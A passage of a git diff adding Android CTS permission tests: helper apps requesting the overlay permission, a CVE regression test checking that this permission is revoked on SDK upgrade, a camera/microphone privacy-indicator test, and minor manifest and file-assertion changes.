+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+</manifest>
diff --git a/tests/tests/permission/AppThatRequestSystemAlertWindow23/Android.bp b/tests/tests/permission/AppThatRequestSystemAlertWindow23/Android.bp
new file mode 100644
index 0000000..403257d
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestSystemAlertWindow23/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CtsAppThatRequestsSystemAlertWindow23",
+ target_sdk_version: "23",
+ certificate: ":cts-testkey2",
+ min_sdk_version: "23",
+ test_suites: [
+ "cts",
+ "general-tests",
+ "mts-permission",
+ "sts",
+ ],
+}
diff --git a/tests/tests/permission/AppThatRequestSystemAlertWindow23/AndroidManifest.xml b/tests/tests/permission/AppThatRequestSystemAlertWindow23/AndroidManifest.xml
new file mode 100644
index 0000000..8b85b13
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestSystemAlertWindow23/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2022 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission3.cts.usesystemalertwindowpermission">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+</manifest>
diff --git a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
index 3dc5f03..75da42f 100644
--- a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
@@ -39,8 +39,10 @@
import org.junit.Before;
import org.junit.Test;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
@AppModeFull(reason = "Instant apps cannot read state of other packages.")
-public class RemovePermissionTest {
+public class RemovePermissionTest extends StsExtraBusinessLogicTestCase {
private static final String APP_PKG_NAME_BASE =
"android.permission.cts.revokepermissionwhenremoved";
private static final String ADVERSARIAL_PERMISSION_DEFINER_PKG_NAME =
diff --git a/tests/tests/permission/src/android/permission/cts/RevokeSawPermissionTest.kt b/tests/tests/permission/src/android/permission/cts/RevokeSawPermissionTest.kt
new file mode 100644
index 0000000..f3f06de
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/RevokeSawPermissionTest.kt
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts
+
+import android.content.pm.PackageManager
+import android.platform.test.annotations.AsbSecurityTest
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil
+import org.junit.After
+import org.junit.Assert
+import org.junit.Test
+
+private val APP_PKG_NAME = "android.permission3.cts.usesystemalertwindowpermission"
+private val APK_22 = "/data/local/tmp/cts/permissions/" +
+ "CtsAppThatRequestsSystemAlertWindow22.apk"
+private val APK_23 = "/data/local/tmp/cts/permissions/" +
+ "CtsAppThatRequestsSystemAlertWindow23.apk"
+
+class RevokeSawPermissionTest {
+
+ fun installApp(apk: String) {
+ SystemUtil.runShellCommand("pm install -r $apk")
+ }
+
+ @After
+ fun uninstallApp() {
+ SystemUtil.runShellCommand("pm uninstall $APP_PKG_NAME")
+ }
+
+ @AsbSecurityTest(cveBugId = [221040577L])
+ @Test
+ fun testPre23AppsWithSystemAlertWindowGetDeniedOnUpgrade() {
+ installApp(APK_22)
+ assertAppHasPermission(android.Manifest.permission.SYSTEM_ALERT_WINDOW, true)
+ installApp(APK_23)
+ assertAppHasPermission(android.Manifest.permission.SYSTEM_ALERT_WINDOW, false)
+ }
+
+ private fun assertAppHasPermission(permissionName: String, expectPermission: Boolean) {
+ Assert.assertEquals(
+ if (expectPermission) {
+ PackageManager.PERMISSION_GRANTED
+ } else {
+ PackageManager.PERMISSION_DENIED
+ },
+ InstrumentationRegistry.getInstrumentation().getTargetContext().packageManager
+ .checkPermission(permissionName, APP_PKG_NAME)
+ )
+ }
+}
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index dccea76..9aca8f7 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -478,6 +478,8 @@
<protected-broadcast android:name="android.app.action.ACTION_PASSWORD_FAILED" />
<protected-broadcast android:name="android.app.action.ACTION_PASSWORD_SUCCEEDED" />
<protected-broadcast android:name="com.android.server.ACTION_EXPIRED_PASSWORD_NOTIFICATION" />
+ <protected-broadcast android:name="com.android.server.ACTION_PROFILE_OFF_DEADLINE" />
+ <protected-broadcast android:name="com.android.server.ACTION_TURN_PROFILE_ON_NOTIFICATION" />
<protected-broadcast android:name="android.intent.action.MANAGED_PROFILE_ADDED" />
<protected-broadcast android:name="android.intent.action.MANAGED_PROFILE_UNLOCKED" />
@@ -4263,6 +4265,10 @@
<permission android:name="android.permission.WRITE_DREAM_STATE"
android:protectionLevel="signature|privileged" />
+ <!-- @hide Allows applications to read whether ambient display is suppressed. -->
+ <permission android:name="android.permission.READ_DREAM_SUPPRESSION"
+ android:protectionLevel="signature" />
+
<!-- @SystemApi Allow an application to read and write the cache partition.
@hide -->
<permission android:name="android.permission.ACCESS_CACHE_FILESYSTEM"
@@ -5007,6 +5013,10 @@
<permission android:name="android.permission.ACCESS_LOCUS_ID_USAGE_STATS"
android:protectionLevel="signature|appPredictor" />
+ <!-- @hide Allows an application to create/destroy input consumer. -->
+ <permission android:name="android.permission.INPUT_CONSUMER"
+ android:protectionLevel="signature" />
+
<application android:process="system"
android:persistent="true"
android:hasCode="false"
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index bea7a16..8c2d18e 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -28,10 +28,13 @@
import android.support.test.uiautomator.BySelector
import android.support.test.uiautomator.UiScrollable
import android.support.test.uiautomator.UiSelector
+import android.support.test.uiautomator.StaleObjectException
import android.text.Spanned
import android.text.style.ClickableSpan
+import android.util.Log
import android.view.View
import com.android.compatibility.common.util.SystemUtil.eventually
+import com.android.compatibility.common.util.UiAutomatorUtils.waitFindObjectOrNull
import org.junit.After
import org.junit.Assert.assertEquals
import org.junit.Assert.assertNotNull
@@ -463,6 +466,21 @@
// Find the permission screen
val permissionLabel = getPermissionLabel(permission)
click(By.text(permissionLabel))
+
+ // Watch does not show an alert dialog when the user turns on permission, only when they
+ // turns it off.
+ if (isWatch) {
+ try {
+ if (waitFindObjectOrNull(By.text(permissionLabel), 1000) != null) {
+ continue
+ }
+ } catch (e: StaleObjectException) {
+ // It sometimes causes StaleObjectException when screen changes due to click
+ // It should be ignored, because it depends on timing
+ Log.w("CtsPermission3TestCases", "Caught StaleObjectException")
+ }
+ }
+
val wasGranted = if (isAutomotive) {
// Automotive doesn't support one time permissions, and thus
// won't show an "Ask every time" message
diff --git a/tests/tests/permission4/Android.bp b/tests/tests/permission4/Android.bp
new file mode 100644
index 0000000..ad1658d
--- /dev/null
+++ b/tests/tests/permission4/Android.bp
@@ -0,0 +1,37 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+ name: "CtsPermission4TestCases",
+ sdk_version: "system_current",
+ defaults: ["cts_defaults"],
+ platform_apis: true,
+ srcs: [
+ "src/**/*.kt",
+ ],
+ static_libs: [
+ "kotlin-stdlib",
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ ],
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ "mts",
+ ],
+}
diff --git a/tests/tests/permission4/AndroidManifest.xml b/tests/tests/permission4/AndroidManifest.xml
new file mode 100644
index 0000000..d4cc71a
--- /dev/null
+++ b/tests/tests/permission4/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission4.cts">
+
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+
+ <application>
+
+ <uses-library android:name="android.test.runner" />
+
+ <activity android:name=".StartForFutureActivity" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.permission4.cts"
+ android:label="CTS UI tests for permissions">
+ <meta-data
+ android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
diff --git a/tests/tests/permission4/AndroidTest.xml b/tests/tests/permission4/AndroidTest.xml
new file mode 100644
index 0000000..71353aa
--- /dev/null
+++ b/tests/tests/permission4/AndroidTest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<configuration description="Config for CTS Permission4 test cases">
+
+ <option name="test-suite-tag" value="cts" />
+
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
+
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsPermission4TestCases.apk" />
+ <option name="test-file-name" value="CtsAppThatAccessesMicAndCameraPermission.apk" />
+ </target_preparer>
+
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.permission4.cts" />
+ <option name="runtime-hint" value="5m" />
+ </test>
+</configuration>
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
new file mode 100644
index 0000000..508e44c
--- /dev/null
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
@@ -0,0 +1,37 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsAppThatAccessesMicAndCameraPermission",
+ defaults: ["cts_defaults"],
+ sdk_version: "system_current",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+
+ static_libs: [
+ "androidx.test.rules",
+ "kotlin-stdlib",
+ "kotlinx-coroutines-android",
+ ],
+
+ srcs: [
+ "src/**/*.kt"
+ ],
+}
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/AndroidManifest.xml b/tests/tests/permission4/AppThatAccessesCameraAndMic/AndroidManifest.xml
new file mode 100644
index 0000000..938b5b5
--- /dev/null
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission4.cts.appthataccessescameraandmic"
+ android:versionCode="1">
+
+ <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+ <uses-permission android:name="android.permission.CAMERA"/>
+
+ <application android:label="CtsCameraMicAccess">
+ <activity android:name=".AccessCameraOrMicActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="test.action.USE_CAMERA_OR_MIC" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt b/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt
new file mode 100644
index 0000000..2be6926
--- /dev/null
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission4.cts.appthataccessescameraandmic
+
+import android.app.Activity
+import android.hardware.camera2.CameraAccessException
+import android.hardware.camera2.CameraDevice
+import android.hardware.camera2.CameraManager
+import android.media.AudioFormat.CHANNEL_IN_MONO
+import android.media.AudioFormat.ENCODING_PCM_16BIT
+import android.media.AudioRecord
+import android.media.MediaRecorder.AudioSource.MIC
+import androidx.annotation.NonNull
+import kotlinx.coroutines.GlobalScope
+import kotlinx.coroutines.delay
+import kotlinx.coroutines.launch
+
+private const val USE_CAMERA = "use_camera"
+private const val USE_MICROPHONE = "use_microphone"
+private const val USE_DURATION_MS = 10000L
+private const val SAMPLE_RATE_HZ = 44100
+
+/**
+ * Activity which will, depending on the extra passed in the intent, use the camera, the microphone,
+ * or both.
+ */
+class AccessCameraOrMicActivity : Activity() {
+ private lateinit var cameraId: String
+ private var cameraDevice: CameraDevice? = null
+ private var recorder: AudioRecord? = null
+ private var cameraFinished = false
+ private var runCamera = false
+ private var micFinished = false
+ private var runMic = false
+
+ override fun onStart() {
+ super.onStart()
+ runCamera = intent.getBooleanExtra(USE_CAMERA, false)
+ runMic = intent.getBooleanExtra(USE_MICROPHONE, false)
+
+ if (runMic) {
+ useMic()
+ }
+
+ if (runCamera) {
+ useCamera()
+ }
+ }
+
+ override fun onStop() {
+ super.onStop()
+ cameraDevice?.close()
+ recorder?.stop()
+ finish()
+ }
+
+ private val stateCallback = object : CameraDevice.StateCallback() {
+ override fun onOpened(@NonNull camDevice: CameraDevice) {
+ cameraDevice = camDevice
+ GlobalScope.launch {
+ delay(USE_DURATION_MS)
+ cameraFinished = true
+ if (!runMic || micFinished) {
+ finish()
+ }
+ }
+ }
+
+ override fun onDisconnected(@NonNull camDevice: CameraDevice) {
+ camDevice.close()
+ throw RuntimeException("Camera was disconnected")
+ }
+
+ override fun onError(@NonNull camDevice: CameraDevice, error: Int) {
+ camDevice.close()
+ throw RuntimeException("Camera error")
+ }
+ }
+
+ @Throws(CameraAccessException::class)
+ private fun useCamera() {
+ val manager = getSystemService(CameraManager::class.java)!!
+ cameraId = manager.cameraIdList[0]
+ manager.openCamera(cameraId, mainExecutor, stateCallback)
+ }
+
+ private fun useMic() {
+ val minSize =
+ AudioRecord.getMinBufferSize(SAMPLE_RATE_HZ, CHANNEL_IN_MONO, ENCODING_PCM_16BIT)
+ recorder = AudioRecord(MIC, SAMPLE_RATE_HZ, CHANNEL_IN_MONO, ENCODING_PCM_16BIT, minSize)
+ recorder?.startRecording()
+ GlobalScope.launch {
+ delay(USE_DURATION_MS)
+ micFinished = true
+ if (!runCamera || cameraFinished) {
+ finish()
+ }
+ }
+ }
+}
diff --git a/tests/tests/permission4/OWNERS b/tests/tests/permission4/OWNERS
new file mode 100644
index 0000000..d4d6a95
--- /dev/null
+++ b/tests/tests/permission4/OWNERS
@@ -0,0 +1,7 @@
+# Bug component: 137825
+svetoslavganov@google.com
+moltmann@google.com
+zhanghai@google.com
+eugenesusla@google.com
+evanseverson@google.com
+ntmyren@google.com
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
new file mode 100644
index 0000000..0f36f5a
--- /dev/null
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.permission4.cts
+
+import android.Manifest
+import android.app.Instrumentation
+import android.app.UiAutomation
+import android.app.compat.CompatChanges
+import android.content.Context
+import android.content.Intent
+import android.content.pm.PackageManager
+import android.hardware.camera2.CameraManager
+import android.os.Process
+import android.provider.DeviceConfig
+import android.provider.Settings
+import android.support.test.uiautomator.By
+import android.support.test.uiautomator.UiDevice
+import android.support.test.uiautomator.UiSelector
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
+import com.android.compatibility.common.util.SystemUtil.eventually
+import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import org.junit.After
+import org.junit.Assert.assertTrue
+import org.junit.Assume.assumeFalse
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.Test
+
+private const val APP_LABEL = "CtsCameraMicAccess"
+private const val USE_CAMERA = "use_camera"
+private const val USE_MICROPHONE = "use_microphone"
+private const val INTENT_ACTION = "test.action.USE_CAMERA_OR_MIC"
+private const val PRIVACY_CHIP_ID = "com.android.systemui:id/privacy_chip"
+private const val INDICATORS_FLAG = "camera_mic_icons_enabled"
+private const val PERMISSION_INDICATORS_NOT_PRESENT = 162547999L
+private const val IDLE_TIMEOUT_MILLIS: Long = 1000
+private const val UNEXPECTED_TIMEOUT_MILLIS = 1000
+private const val TIMEOUT_MILLIS: Long = 20000
+
+class CameraMicIndicatorsPermissionTest {
+ private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+ private val context: Context = instrumentation.context
+ private val uiAutomation: UiAutomation = instrumentation.uiAutomation
+ private val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
+ private val packageManager: PackageManager = context.packageManager
+
+ private var wasEnabled = false
+ private val micLabel = packageManager.getPermissionGroupInfo(
+ Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
+ private val cameraLabel = packageManager.getPermissionGroupInfo(
+ Manifest.permission_group.CAMERA, 0).loadLabel(packageManager).toString()
+
+ private var screenTimeoutBeforeTest: Long = 0L
+
+ @Before
+ fun setUp() {
+ runWithShellPermissionIdentity {
+ screenTimeoutBeforeTest = Settings.System.getLong(
+ context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT
+ )
+ Settings.System.putLong(
+ context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT, 1800000L
+ )
+ }
+
+ uiDevice.wakeUp()
+ runShellCommand(instrumentation, "wm dismiss-keyguard")
+
+ uiDevice.findObject(By.text("Close"))?.click()
+ wasEnabled = setIndicatorsEnabledStateIfNeeded(true)
+ // If the change Id is not present, then isChangeEnabled will return true. To bypass this,
+ // the change is set to "false" if present.
+ assumeFalse("feature not present on this device", callWithShellPermissionIdentity {
+ CompatChanges.isChangeEnabled(PERMISSION_INDICATORS_NOT_PRESENT, Process.SYSTEM_UID)
+ })
+ }
+
+ private fun setIndicatorsEnabledStateIfNeeded(shouldBeEnabled: Boolean): Boolean {
+ var currentlyEnabled = false
+ runWithShellPermissionIdentity {
+ currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
+ INDICATORS_FLAG, false)
+ if (currentlyEnabled != shouldBeEnabled) {
+ DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG,
+ shouldBeEnabled.toString(), false)
+ }
+ }
+ return currentlyEnabled
+ }
+
+ @After
+ fun tearDown() {
+ if (!wasEnabled) {
+ setIndicatorsEnabledStateIfNeeded(false)
+ }
+ runWithShellPermissionIdentity {
+ Settings.System.putLong(
+ context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT,
+ screenTimeoutBeforeTest
+ )
+ }
+
+ pressHome()
+ }
+
+ private fun openApp(useMic: Boolean, useCamera: Boolean) {
+ context.startActivity(Intent(INTENT_ACTION).apply {
+ putExtra(USE_CAMERA, useCamera)
+ putExtra(USE_MICROPHONE, useMic)
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ })
+ }
+
+ @Test
+ fun testCameraIndicator() {
+ val manager = context.getSystemService(CameraManager::class.java)!!
+ assumeTrue(manager.cameraIdList.isNotEmpty())
+ testCameraAndMicIndicator(useMic = false, useCamera = true)
+ }
+
+ @Test
+ fun testMicIndicator() {
+ testCameraAndMicIndicator(useMic = true, useCamera = false)
+ }
+
+ private fun testCameraAndMicIndicator(useMic: Boolean, useCamera: Boolean) {
+ openApp(useMic, useCamera)
+ eventually {
+ val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
+ assertTrue("View with text $APP_LABEL not found", appView.exists())
+ }
+ uiDevice.openNotification()
+ // Ensure the privacy chip is present
+ eventually {
+ val privacyChip = uiDevice.findObject(UiSelector().resourceId(PRIVACY_CHIP_ID))
+ assertTrue("view with id $PRIVACY_CHIP_ID not found", privacyChip.exists())
+ privacyChip.click()
+ }
+ eventually {
+ if (useMic) {
+ val appView = uiDevice.findObject(UiSelector().textContains(micLabel))
+ assertTrue("View with text $APP_LABEL not found", appView.exists())
+ }
+ if (useCamera) {
+ val appView = uiDevice.findObject(UiSelector().textContains(cameraLabel))
+ assertTrue("View with text $APP_LABEL not found", appView.exists())
+ }
+ val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
+ assertTrue("View with text $APP_LABEL not found", appView.exists())
+ }
+ pressBack()
+ }
+
+ private fun pressBack() {
+ uiDevice.pressBack()
+ waitForIdle()
+ }
+
+ private fun pressHome() {
+ uiDevice.pressHome()
+ waitForIdle()
+ }
+
+ private fun waitForIdle() =
+ uiAutomation.waitForIdle(IDLE_TIMEOUT_MILLIS, TIMEOUT_MILLIS)
+}
\ No newline at end of file
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index 7dac784..84efe7d 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -27,6 +27,7 @@
"junit",
"truth-prebuilt",
"mockito-target-minus-junit4",
+ "sts-device-util",
],
jni_libs: [
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
index 479c3ab..11a0e66 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
@@ -17,8 +17,6 @@
package android.provider.cts.media;
import static android.provider.cts.ProviderTestUtils.assertColorMostlyEquals;
-import static android.provider.cts.ProviderTestUtils.assertExists;
-import static android.provider.cts.ProviderTestUtils.assertNotExists;
import static android.provider.cts.ProviderTestUtils.extractAverageColor;
import static android.provider.cts.media.MediaStoreTest.TAG;
@@ -51,6 +49,9 @@
import android.provider.cts.R;
import android.provider.cts.media.MediaStoreUtils.PendingParams;
import android.provider.cts.media.MediaStoreUtils.PendingSession;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
import android.util.DisplayMetrics;
import android.util.Log;
import android.util.Size;
@@ -69,6 +70,7 @@
import java.io.File;
import java.io.FileNotFoundException;
+import java.io.IOException;
import java.io.OutputStream;
import java.util.ArrayList;
@@ -211,7 +213,7 @@
c.close();
ProviderTestUtils.waitForIdle();
- assertExists("image file does not exist", imagePath);
+ assertFileExists(imagePath);
assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
@@ -222,7 +224,7 @@
mRowsAdded.remove(stringUri);
ProviderTestUtils.waitForIdle();
- assertNotExists("image file should no longer exist", imagePath);
+ assertFileNotExists(imagePath);
assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
@@ -234,10 +236,10 @@
imageId = c.getLong(c.getColumnIndex(Media._ID));
imagePath = c.getString(c.getColumnIndex(Media.DATA));
c.close();
- assertExists("image file does not exist", imagePath);
+ assertFileExists(imagePath);
Uri fileuri = MediaStore.Files.getContentUri("external", imageId);
mContentResolver.delete(fileuri, null, null);
- assertNotExists("image file should no longer exist", imagePath);
+ assertFileNotExists(imagePath);
}
@Test
@@ -503,4 +505,26 @@
bitmap.compress(Bitmap.CompressFormat.PNG, 90, out);
}
+ private static void assertFileExists(String path) throws Exception {
+ try {
+ Os.access(path, OsConstants.F_OK);
+ } catch (ErrnoException e) {
+ if (e.errno == OsConstants.ENOENT) {
+ fail("File " + path + " doesn't exist.");
+ } else {
+ throw e;
+ }
+ }
+ }
+
+ private static void assertFileNotExists(String path) throws Exception {
+ try {
+ Os.access(path, OsConstants.F_OK);
+ fail("File " + path + " exists.");
+ } catch (ErrnoException e) {
+ if (e.errno != OsConstants.ENOENT) {
+ throw e;
+ }
+ }
+ }
}
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
index 2fc25b8..97de5cb 100644
--- a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
